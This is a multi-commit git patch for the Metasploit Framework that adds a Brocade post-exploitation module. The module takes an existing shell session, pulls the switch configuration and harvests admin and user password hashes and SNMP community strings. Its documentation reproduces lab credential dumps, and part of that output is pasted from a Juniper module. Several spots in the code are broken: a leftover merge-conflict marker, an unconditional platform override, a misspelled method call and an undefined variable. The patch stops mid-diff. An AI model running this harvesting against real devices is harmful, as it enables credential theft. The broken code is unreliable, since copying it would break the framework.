From cf90f8250dbe49ec01f09180175c71b33396e4d6 Mon Sep 17 00:00:00 2001 From: h00die Date: Mon, 30 Jul 2018 14:53:53 -0400 Subject: [PATCH 1/4] reimport brocade module --- .../post/brocade/gather/enum_brocade.md | 135 ++++++++++++++++++ lib/metasploit/framework/login_scanner/ssh.rb | 6 + lib/msf/core/auxiliary/brocade.rb | 123 ++++++++++++++++ lib/msf/core/auxiliary/mixins.rb | 1 + lib/msf/core/module/platform.rb | 8 ++ lib/msf/core/payload/uuid.rb | 1 + modules/post/brocade/gather/enum_brocade.rb | 91 ++++++++++++ 7 files changed, 365 insertions(+) create mode 100644 documentation/modules/post/brocade/gather/enum_brocade.md create mode 100644 lib/msf/core/auxiliary/brocade.rb create mode 100644 modules/post/brocade/gather/enum_brocade.rb diff --git a/documentation/modules/post/brocade/gather/enum_brocade.md b/documentation/modules/post/brocade/gather/enum_brocade.md new file mode 100644 index 000000000000..f6e3887a2d02 --- /dev/null +++ b/documentation/modules/post/brocade/gather/enum_brocade.md @@ -0,0 +1,135 @@ +## Vulnerable Application + + This module has been tested on the following hardware/OS combinations. + + * Brocade ICX 6430-24 + * [FastIron 7.4.00fT311](https://usermanual.wiki/Ruckus/FastIron07400fReleaseNotesv1.921275013/help) + + The ICX config can be found [here NEED URL]() + + This module will look for the follow parameters which contain credentials: + + * FastIron + + +!!! keep in mind 'password-display' http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html +!!! need to be able to give a password to enable + + * admin + * user + * SNMP + * ppp + * ike + +## Verification Steps + + 1. Start msfconsole + 2. Get a shell + 3. Do: ```use post/brocade/gather/enum_brocade``` + 4. Do: ```set session [id]``` + 5. Do: ```set verbose true``` + 6. Do: ```run``` + +## Scenarios + +### ICX 6430-24, FastIron 7.4.00f + +#### root Login (SSH Shell) + +``` +[*] In an SSH shell +[*] Getting version information +[*] Original OS Guess junos, is now JunOS 12.3R7.7 +[*] The device OS is junos +[+] Config information stored in to loot /root/.msf4/loot/20180220201446_default_192.168.1.5_juniper.junos.co_197469.txt +[*] Gathering info from cli show configuration +[+] Saving to /root/.msf4/loot/20180220201451_default_192.168.1.5_juniper.get_conf_465493.txt +[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. +[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/. +[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0. +[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.. +[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/. +[+] SNMP community read with permissions read-only +[+] SNMP community public with permissions read-only +[+] SNMP community private with permissions read-write +[+] SNMP community secretsauce with permissions read-write +[+] SNMP community hello there with permissions read-write +[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV +[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP +[*] Post module execution completed +msf5 post(juniper/gather/enum_juniper) > creds +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +1.1.1.1 1.1.1.1 1812/udp (radius) $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp root Juniper Password +192.168.1.5 192.168.1.5 22/tcp root $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/ Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser2 $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0 Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser3 $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93. Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser4 $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/ Nonreplayable hash +192.168.1.5 192.168.1.5 161/udp (snmp) read Password +192.168.1.5 192.168.1.5 161/udp (snmp) public Password +192.168.1.5 192.168.1.5 161/udp (snmp) private Password +192.168.1.5 192.168.1.5 161/udp (snmp) secretsauce Password +192.168.1.5 192.168.1.5 161/udp (snmp) hello there Password +192.168.1.5 192.168.1.5 1723/tcp (pptp) 'pap_username' $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR Nonreplayable hash +``` + +#### cli Login + +``` +[+] 192.168.1.5:22 - Success: 'newuser:Newuser' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]' +[*] Command shell session 2 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2018-02-19 21:32:20 -0500 +[*] Scanned 1 of 1 hosts (100% complete) +[*] Auxiliary module execution completed +resource (juniper_ex2200.rc)> use post/juniper/gather/enum_juniper +resource (juniper_ex2200.rc)> set session 2 +session => 2 +resource (juniper_ex2200.rc)> set verbose true +verbose => true +resource (juniper_ex2200.rc)> run +[*] In a cli shell +[*] Getting version information +[*] Original OS Guess junos, is now JunOS 12.3R7.7 +[*] The device OS is junos +[+] Config information stored in to loot /root/.msf4/loot/20180219213231_default_192.168.1.5_juniper.junos.co_752483.txt +[*] Gathering info from show configuration +[+] Saving to /root/.msf4/loot/20180219213236_default_192.168.1.5_juniper.get_conf_613948.txt +[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. +[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/. +[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0. +[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.. +[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/. +[+] SNMP community read with permissions read-only +[+] SNMP community public with permissions read-only +[+] SNMP community private with permissions read-write +[+] SNMP community secretsauce with permissions read-write +[+] SNMP community hello there with permissions read-write +[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV +[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP +[*] Post module execution completed +resource (juniper_ex2200.rc)> creds -d +Credentials +=========== + +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +1.1.1.1 1.1.1.1 1812/udp (radius) $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser Newuser Password +192.168.1.5 192.168.1.5 22/tcp root $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/ Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser2 $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0 Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser3 $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93. Nonreplayable hash +192.168.1.5 192.168.1.5 22/tcp newuser4 $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/ Nonreplayable hash +192.168.1.5 192.168.1.5 161/udp (snmp) read Password +192.168.1.5 192.168.1.5 161/udp (snmp) public Password +192.168.1.5 192.168.1.5 161/udp (snmp) private Password +192.168.1.5 192.168.1.5 161/udp (snmp) secretsauce Password +192.168.1.5 192.168.1.5 161/udp (snmp) hello there Password +192.168.1.5 192.168.1.5 1723/tcp (pptp) 'pap_username' $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR Nonreplayable hash +``` + + diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb index 63d9de58554f..898a86ba2209 100644 --- a/lib/metasploit/framework/login_scanner/ssh.rb +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -143,6 +143,12 @@ def gather_proof # Juniper JunOS CLI elsif proof =~ /unknown command: id/ proof = ssh_socket.exec!("show version\n").split("\n")[2..4].join(", ").to_s + # Brocade CLI + elsif proof =~ /Invalid input -> id/ || proof =~ /Protocol error, doesn't start with scp\!/ + proof = ssh_socket.exec!("show version\n").to_s + if proof =~ /Version:(?.+).+HW: (?)/mi + proof = "Model: #{hardware}, OS: #{os_version}" + end else proof << ssh_socket.exec!("help\n?\n\n\n").to_s end diff --git a/lib/msf/core/auxiliary/brocade.rb b/lib/msf/core/auxiliary/brocade.rb new file mode 100644 index 000000000000..359a11495dd9 --- /dev/null +++ b/lib/msf/core/auxiliary/brocade.rb @@ -0,0 +1,123 @@ +# -*- coding: binary -*- +module Msf + +### +# +# This module provides methods for working with Brocade equipment +# +### +module Auxiliary::Brocade + include Msf::Auxiliary::Report + + def create_credential_and_login(opts={}) + return nil unless active_db? + + if self.respond_to?(:[]) and self[:task] + opts[:task_id] ||= self[:task].record.id + end + + core = opts.fetch(:core, create_credential(opts)) + access_level = opts.fetch(:access_level, nil) + last_attempted_at = opts.fetch(:last_attempted_at, nil) + status = opts.fetch(:status, Metasploit::Model::Login::Status::UNTRIED) + + login_object = nil + retry_transaction do + service_object = create_credential_service(opts) + login_object = Metasploit::Credential::Login.where(core_id: core.id, service_id: service_object.id).first_or_initialize + + if opts[:task_id] + login_object.tasks << Mdm::Task.find(opts[:task_id]) + end + + login_object.access_level = access_level if access_level + login_object.last_attempted_at = last_attempted_at if last_attempted_at + if status == Metasploit::Model::Login::Status::UNTRIED + if login_object.last_attempted_at.nil? + login_object.status = status + end + else + login_object.status = status + end + login_object.save! + end + + login_object + end + + + def brocade_config_eater(thost, tport, config) + # this is for brocade type devices. + # It is similar to cisco + # Docs: enable password-display -> http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html + + credential_data = { + address: thost, + port: tport, + protocol: 'tcp', + workspace_id: myworkspace.id, + origin_type: :service, + service_name: '', + module_fullname: self.fullname, + status: Metasploit::Model::Login::Status::UNTRIED + } + + store_loot('brocade.config', 'text/plain', thost, config.strip, 'config.txt', 'Brocade Configuration') + + # Brocade has this one configuration called "password display". With it, we get hashes. With out it, just ... + if config =~ /enable password-display/ + print_good('password-display is enabled, hashes will be displayed in config') + else + print_bad('password-display is disabled, no password hashes displayed in config') + end + + # enable password + # Example lines: + # enable super-user-password 8 $1$QP3H93Wm$uxYAs2HmAK01QiP3ig5tm. + config.scan(/enable super-user-password 8 (?.+)/i).each do |result| + admin_hash = result[0].strip + print_good("enable password hash #{admin_hash}") + cred = credential_data.dup + cred[:username] = 'enable' + cred[:private_data] = admin_hash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end + + # user account + # Example lines: + # username brocade password 8 $1$YBaHUWpr$PzeUrP0XmVOyVNM5rYy99/ + config.scan(/username "(?[a-z0-9]+)" password (?\w+) (?[0-9a-z=]{38})/i).each do |result| + user_name = result[0].strip + user_type = result[1].strip + user_hash = result[2].strip + print_good("User #{user_name} of type #{user_type} found with password hash #{user_hash}.") + cred = credential_data.dup + cred[:username] = user_name + cred[:private_data] = user_hash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end + + # snmp + # Example lines: + # snmp-server community 1 $Si2^=d rw + config.scan(/snmp-server community (?[\d]+) (?.+) (?rw|ro)/i).each do |result| + snmp_community = result[1].strip + snmp_permissions = result[2].strip + print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}") + cred = credential_data.dup + cred[:access_level] = stype.upcase + cred[:protocol] = 'udp' + cred[:port] = 161 + cred[:service_name] = 'snmp' + cred[:private_data] = snmp_community + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end + + end +end +end + + diff --git a/lib/msf/core/auxiliary/mixins.rb b/lib/msf/core/auxiliary/mixins.rb index 9679e1d733b5..93a34bcae370 100644 --- a/lib/msf/core/auxiliary/mixins.rb +++ b/lib/msf/core/auxiliary/mixins.rb @@ -21,6 +21,7 @@ require 'msf/core/auxiliary/rservices' require 'msf/core/auxiliary/cisco' require 'msf/core/auxiliary/juniper' +require 'msf/core/auxiliary/brocade' require 'msf/core/auxiliary/kademlia' require 'msf/core/auxiliary/llmnr' require 'msf/core/auxiliary/mdns' diff --git a/lib/msf/core/module/platform.rb b/lib/msf/core/module/platform.rb index 1562fa48603b..058b44d7a9be 100644 --- a/lib/msf/core/module/platform.rb +++ b/lib/msf/core/module/platform.rb @@ -411,6 +411,14 @@ class Unifi < Msf::Module::Platform Alias = "unifi" end + # + # Brocade + # + class Brocade < Msf::Module::Platform + Rank = 100 + Alias = "brocade" + end + # # Solaris # diff --git a/lib/msf/core/payload/uuid.rb b/lib/msf/core/payload/uuid.rb index ea88a75f2934..c83aef769c28 100644 --- a/lib/msf/core/payload/uuid.rb +++ b/lib/msf/core/payload/uuid.rb @@ -76,6 +76,7 @@ class Msf::Payload::UUID 25 => 'apple_ios', 26 => 'juniper', 27 => 'unifi', + 28 => 'brocade', } # The raw length of the UUID structure diff --git a/modules/post/brocade/gather/enum_brocade.rb b/modules/post/brocade/gather/enum_brocade.rb new file mode 100644 index 000000000000..eceb1fdf6177 --- /dev/null +++ b/modules/post/brocade/gather/enum_brocade.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core/auxiliary/brocade' + +class MetasploitModule < Msf::Post + include Msf::Auxiliary::Brocade + def initialize(info={}) + super( update_info( info, + 'Name' => 'Brocade Gather Device General Information', + 'Description' => %q{ + This module collects Brocade device information and configuration. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'h00die'], + 'Platform' => [ 'brocade'], + 'SessionTypes' => [ 'shell' ] + )) + + register_options([]) + + end + + def run + # Get device prompt + prompt = session.shell_command("") + + if prompt.end_with?('(config)#') # config shell + vprint_status('In a config cli') + elsif prompt.end_with?('#') # regular cli shell (non-config) + vprint_status('In an enabled cli') + elsif prompt.end_with?('>') # cli not enabled + vprint_status('In a non-enabled cli') + session.shell_command('enable') # gets us back to the cli non-config + end + + # disable paging + session.shell_write('skip-page-display') + + # Get version info + print_status('Getting version information') + version_out = session.shell_command('show version') + + if /^, Version: (?.+) /i =~ version_out + vprint_status("OS: #{ver}") + end + + ver_loc = store_loot('brocade.version', + 'text/plain', + session, + version_out.strip, + 'version.txt', + 'Brocade Version') + + # Print the version of VERBOSE set to true. + vprint_good("Version information stored in to loot #{ver_loc}") + + # run additional information gathering + enum_configs(prompt) + end + + # run commands found in exec mode under privilege 1 + def enum_configs(prompt) + host,port = session.session_host, session.session_port + exec_commands = [ + { + 'cmd' => 'show configuration', + 'fn' => 'get_config', + 'desc' => 'Get Device Config on Brocade Device' + }, + ] + exec_commands.each do |ec| + command = command_prefix + ec['cmd'] + cmd_out = session.shell_command(command).gsub(/#{command}|#{prompt}/,"") + print_status("Gathering info from #{command}") + cmd_loc = store_loot("brocade.#{ec['fn']}", + "text/plain", + session, + cmd_out.strip, + "#{ec['fn']}.txt", + ec['desc']) + vprint_good("Saving to #{cmd_loc}") + if ec['fn'] == 'get_config' + brocades_config_eater(host,port,cmd_out.strip) + end + end + end +end + From 4d60f381773cefd408a6c816161cfc7c3d40d064 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 1 Jun 2019 22:23:01 -0400 Subject: [PATCH 2/4] brocade working --- .../post/brocade/gather/enum_brocade.md | 140 +++++--------- lib/metasploit/framework/login_scanner/ssh.rb | 2 + lib/msf/core/auxiliary/brocade.rb | 51 ++--- modules/post/brocade/gather/enum_brocade.rb | 44 +++-- spec/lib/msf/core/auxiliary/brocade_spec.rb | 181 ++++++++++++++++++ 5 files changed, 285 insertions(+), 133 deletions(-) create mode 100644 spec/lib/msf/core/auxiliary/brocade_spec.rb diff --git a/documentation/modules/post/brocade/gather/enum_brocade.md b/documentation/modules/post/brocade/gather/enum_brocade.md index f6e3887a2d02..ced4fa2f2639 100644 --- a/documentation/modules/post/brocade/gather/enum_brocade.md +++ b/documentation/modules/post/brocade/gather/enum_brocade.md @@ -3,23 +3,22 @@ This module has been tested on the following hardware/OS combinations. * Brocade ICX 6430-24 - * [FastIron 7.4.00fT311](https://usermanual.wiki/Ruckus/FastIron07400fReleaseNotesv1.921275013/help) + * Firmware: 08.0.20T311 - The ICX config can be found [here NEED URL]() + The ICX config can be found [no passwords](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_nopass.conf), + [hashes](https://github.com/h00die/MSF-Testing-Scripts/blob/master/brocade_icx6430_pass.conf) This module will look for the follow parameters which contain credentials: * FastIron - + * `show configuration` !!! keep in mind 'password-display' http://wwwaem.brocade.com/content/html/en/command-reference-guide/fastiron-08040-commandref/GUID-169889CD-1A74-4A23-AC78-38796692374F.html !!! need to be able to give a password to enable - * admin - * user + * super-user-password + * username * SNMP - * ppp - * ike ## Verification Steps @@ -32,104 +31,63 @@ ## Scenarios -### ICX 6430-24, FastIron 7.4.00f +### ICX 6430-24, FastIron 08.0.20T311 -#### root Login (SSH Shell) +#### SSH Session with password-display off ``` -[*] In an SSH shell +resource (brocade.rb)> use post/brocade/gather/enum_brocade +resource (brocade.rb)> set session 1 +session => 1 +resource (brocade.rb)> set verbose true +verbose => true +resource (brocade.rb)> run +[*] In a non-enabled cli [*] Getting version information -[*] Original OS Guess junos, is now JunOS 12.3R7.7 -[*] The device OS is junos -[+] Config information stored in to loot /root/.msf4/loot/20180220201446_default_192.168.1.5_juniper.junos.co_197469.txt -[*] Gathering info from cli show configuration -[+] Saving to /root/.msf4/loot/20180220201451_default_192.168.1.5_juniper.get_conf_465493.txt -[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. -[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/. -[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0. -[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.. -[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/. -[+] SNMP community read with permissions read-only -[+] SNMP community public with permissions read-only -[+] SNMP community private with permissions read-write -[+] SNMP community secretsauce with permissions read-write -[+] SNMP community hello there with permissions read-write -[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV -[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP +[*] OS: 08.0.30hT311 +[+] Version information stored in to loot /root/.msf4/loot/20190601203656_default_10.0.4.51_brocade.version_751557.txt +[*] Gathering info from show configuration +[!] password-display is disabled, no password hashes displayed in config [*] Post module execution completed -msf5 post(juniper/gather/enum_juniper) > creds -Credentials -=========== - -host origin service public private realm private_type ----- ------ ------- ------ ------- ----- ------------ -1.1.1.1 1.1.1.1 1812/udp (radius) $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp root Juniper Password -192.168.1.5 192.168.1.5 22/tcp root $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/ Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser2 $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0 Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser3 $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93. Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser4 $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/ Nonreplayable hash -192.168.1.5 192.168.1.5 161/udp (snmp) read Password -192.168.1.5 192.168.1.5 161/udp (snmp) public Password -192.168.1.5 192.168.1.5 161/udp (snmp) private Password -192.168.1.5 192.168.1.5 161/udp (snmp) secretsauce Password -192.168.1.5 192.168.1.5 161/udp (snmp) hello there Password -192.168.1.5 192.168.1.5 1723/tcp (pptp) 'pap_username' $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR Nonreplayable hash ``` -#### cli Login +#### SSH Session with Enable run ``` -[+] 192.168.1.5:22 - Success: 'newuser:Newuser' 'Hostname: h00dieJuniperEx2200, Model: ex2200-48t-4g, JUNOS Base OS boot [12.3R7.7]' -[*] Command shell session 2 opened (192.168.1.6:45623 -> 192.168.1.5:22) at 2018-02-19 21:32:20 -0500 -[*] Scanned 1 of 1 hosts (100% complete) -[*] Auxiliary module execution completed -resource (juniper_ex2200.rc)> use post/juniper/gather/enum_juniper -resource (juniper_ex2200.rc)> set session 2 -session => 2 -resource (juniper_ex2200.rc)> set verbose true +resource (brocade.rb)> use post/brocade/gather/enum_brocade +resource (brocade.rb)> set session 1 +session => 1 +resource (brocade.rb)> set verbose true verbose => true -resource (juniper_ex2200.rc)> run -[*] In a cli shell +[*] In an enabled cli [*] Getting version information -[*] Original OS Guess junos, is now JunOS 12.3R7.7 -[*] The device OS is junos -[+] Config information stored in to loot /root/.msf4/loot/20180219213231_default_192.168.1.5_juniper.junos.co_752483.txt +[*] OS: 08.0.30hT311 +[+] Version information stored in to loot /root/.msf4/loot/20190601221921_default_10.0.4.51_brocade.version_839783.txt [*] Gathering info from show configuration -[+] Saving to /root/.msf4/loot/20180219213236_default_192.168.1.5_juniper.get_conf_613948.txt -[+] root password hash: $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. -[+] User 2000 named newuser in group super-user found with password hash $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/. -[+] User 2002 named newuser2 in group operator found with password hash $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0. -[+] User 2003 named newuser3 in group read-only found with password hash $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93.. -[+] User 2004 named newuser4 in group unauthorized found with password hash $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/. -[+] SNMP community read with permissions read-only -[+] SNMP community public with permissions read-only -[+] SNMP community private with permissions read-write -[+] SNMP community secretsauce with permissions read-write -[+] SNMP community hello there with permissions read-write -[+] radius server 1.1.1.1 password hash: $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV -[+] PPTP username 'pap_username' hash $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR via PAP +[+] password-display is enabled, hashes will be displayed in config +[+] enable password hash $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm. +[+] User brocade of type 8 found with password hash $1$f/uxhovU$dST5lNskZCPQe/5QijULi0. +[+] ENCRYPTED SNMP community $MlVzZCFAbg== with permissions ro +[+] ENCRYPTED SNMP community $U2kyXj1k with permissions rw [*] Post module execution completed -resource (juniper_ex2200.rc)> creds -d +msf5 post(brocade/gather/enum_brocade) > loot + +Loot +==== + +host service type name content info path +---- ------- ---- ---- ------- ---- ---- +10.0.4.51 brocade.version version.txt text/plain Brocade Version /root/.msf4/loot/20190601221959_default_10.0.4.51_brocade.version_003751.txt +10.0.4.51 brocade.config config.txt text/plain Brocade Configuration /root/.msf4/loot/20190601222004_default_10.0.4.51_brocade.config_998514.txt + +msf5 post(brocade/gather/enum_brocade) > creds Credentials =========== -host origin service public private realm private_type ----- ------ ------- ------ ------- ----- ------------ -1.1.1.1 1.1.1.1 1812/udp (radius) $9$Y-4GikqfF39JGCu1Ileq.PQ6AB1hrlMBIyKvWdV Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser Newuser Password -192.168.1.5 192.168.1.5 22/tcp root $1$pz9b1.fq$foo5r85Ql8mXdoRUe0C1E. Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser $1$rm8FaMFY$k4LFxqsVAiGO5tKqyO9jJ/ Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser2 $1$aDZi44AP$bQGGjqPJ.F.Cm5QvX2yaa0 Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser3 $1$1.YvKzUY$dcAj99KngGhFZTpxGjA93. Nonreplayable hash -192.168.1.5 192.168.1.5 22/tcp newuser4 $1$bdWYaqOE$z6oTSJS3p1R8CoNaos9Ce/ Nonreplayable hash -192.168.1.5 192.168.1.5 161/udp (snmp) read Password -192.168.1.5 192.168.1.5 161/udp (snmp) public Password -192.168.1.5 192.168.1.5 161/udp (snmp) private Password -192.168.1.5 192.168.1.5 161/udp (snmp) secretsauce Password -192.168.1.5 192.168.1.5 161/udp (snmp) hello there Password -192.168.1.5 192.168.1.5 1723/tcp (pptp) 'pap_username' $9$he4revM87-dsevm5TQCAp0BErvLxd4JDNdkPfT/9BIR Nonreplayable hash +host origin service public private realm private_type +---- ------ ------- ------ ------- ----- ------------ +10.0.4.51 10.0.4.51 22/tcp enable $1$QP3H93Wm$uxYAs2HmAK0lQiP3ig5tm. Nonreplayable hash +10.0.4.51 10.0.4.51 161/udp (snmp) $MlVzZCFAbg== Nonreplayable hash +10.0.4.51 10.0.4.51 161/udp (snmp) $U2kyXj1k Nonreplayable hash +10.0.4.51 10.0.4.51 22/tcp brocade $1$f/uxhovU$dST5lNskZCPQe/5QijULi0 Nonreplayable hash ``` - - diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb index 898a86ba2209..3199658fa332 100644 --- a/lib/metasploit/framework/login_scanner/ssh.rb +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -113,6 +113,7 @@ def gather_proof proof = '' begin Timeout.timeout(5) do +<<<<<<< HEAD proof = ssh_socket.exec!("id\n").to_s if (proof =~ /id=/) proof << ssh_socket.exec!("uname -a\n").to_s @@ -168,6 +169,7 @@ def set_sane_defaults public def get_platform(proof) + return 'brocade' case proof when /unifi\.version|UniFiSecurityGateway/ #Ubiquiti Unifi. uname -a is left in, so we got to pull before Linux 'unifi' diff --git a/lib/msf/core/auxiliary/brocade.rb b/lib/msf/core/auxiliary/brocade.rb index 359a11495dd9..f3958f263878 100644 --- a/lib/msf/core/auxiliary/brocade.rb +++ b/lib/msf/core/auxiliary/brocade.rb @@ -76,48 +76,53 @@ def brocade_config_eater(thost, tport, config) # enable super-user-password 8 $1$QP3H93Wm$uxYAs2HmAK01QiP3ig5tm. config.scan(/enable super-user-password 8 (?.+)/i).each do |result| admin_hash = result[0].strip - print_good("enable password hash #{admin_hash}") - cred = credential_data.dup - cred[:username] = 'enable' - cred[:private_data] = admin_hash - cred[:private_type] = :nonreplayable_hash - create_credential_and_login(cred) + unless admin_hash == '.....' + print_good("enable password hash #{admin_hash}") + cred = credential_data.dup + cred[:username] = 'enable' + cred[:private_data] = admin_hash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end end # user account # Example lines: # username brocade password 8 $1$YBaHUWpr$PzeUrP0XmVOyVNM5rYy99/ - config.scan(/username "(?[a-z0-9]+)" password (?\w+) (?[0-9a-z=]{38})/i).each do |result| + config.scan(/username "?(?[a-z0-9]+)"? password (?\w+) (?[0-9a-z=\$\/]{34})/i).each do |result| user_name = result[0].strip user_type = result[1].strip user_hash = result[2].strip - print_good("User #{user_name} of type #{user_type} found with password hash #{user_hash}.") - cred = credential_data.dup - cred[:username] = user_name - cred[:private_data] = user_hash - cred[:private_type] = :nonreplayable_hash - create_credential_and_login(cred) + unless user_hash == '.....' + print_good("User #{user_name} of type #{user_type} found with password hash #{user_hash}.") + cred = credential_data.dup + cred[:username] = user_name + cred[:private_data] = user_hash + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end end # snmp # Example lines: # snmp-server community 1 $Si2^=d rw + # these at times look base64 encoded, which they may be, but are also encrypted config.scan(/snmp-server community (?[\d]+) (?.+) (?rw|ro)/i).each do |result| snmp_community = result[1].strip snmp_permissions = result[2].strip - print_good("SNMP community #{snmp_community} with permissions #{snmp_permissions}") - cred = credential_data.dup - cred[:access_level] = stype.upcase - cred[:protocol] = 'udp' - cred[:port] = 161 - cred[:service_name] = 'snmp' - cred[:private_data] = snmp_community - cred[:private_type] = :nonreplayable_hash - create_credential_and_login(cred) + unless snmp_community == '.....' + print_good("#{'ENCRYPTED ' if snmp_community.start_with?('$')}SNMP community #{snmp_community} with permissions #{snmp_permissions}") + cred = credential_data.dup + cred[:protocol] = 'udp' + cred[:port] = 161 + cred[:service_name] = 'snmp' + cred[:private_data] = snmp_community + cred[:private_type] = :nonreplayable_hash + create_credential_and_login(cred) + end end end end end - diff --git a/modules/post/brocade/gather/enum_brocade.rb b/modules/post/brocade/gather/enum_brocade.rb index eceb1fdf6177..35c1ba2679a5 100644 --- a/modules/post/brocade/gather/enum_brocade.rb +++ b/modules/post/brocade/gather/enum_brocade.rb @@ -12,38 +12,39 @@ def initialize(info={}) 'Name' => 'Brocade Gather Device General Information', 'Description' => %q{ This module collects Brocade device information and configuration. + This module has been tested against an icx6430 running 08.0.20T311. }, 'License' => MSF_LICENSE, 'Author' => [ 